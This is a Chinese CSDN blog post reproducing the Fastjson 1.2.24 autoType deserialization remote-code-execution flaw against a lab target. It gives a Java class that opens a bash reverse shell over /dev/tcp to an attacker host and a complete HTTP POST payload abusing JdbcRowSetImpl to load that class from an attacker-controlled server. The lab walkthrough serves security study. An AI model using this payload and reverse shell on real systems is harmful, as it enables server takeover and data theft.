fastjson反序列化漏洞复现

本文讲述了FastJson在解析json时,由于未对`@type`字段进行安全验证,导致的远程代码执行漏洞。攻击者可构造恶意json,利用RMI执行任意代码,威胁服务器安全。通过POST请求和特定payload,可实现敏感信息泄露和服务器数据操控。
摘要由CSDN通过智能技术生成

1.2.24 命令执行

原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

开个靶机

访问就说一个json格式返回的数据

这个回显就代表用了fastjson,可以测试这个漏洞

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

这就表示有这个漏洞

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
   static {
       try {
                Runtime r = Runtime.getRuntime();
                Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});
                p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

这些东西写在一个java文件力,然后生成一个class文件

开启个http服务

开启RMI服务,将恶意类放到服务器上 

同时监听6666端口(在java中写入的是通过2233端口反弹shell)

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"http://192.168.154.128:8888/TouchFile",
        "autoCommit":true
    }
}

发包

shell

jian

kang

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值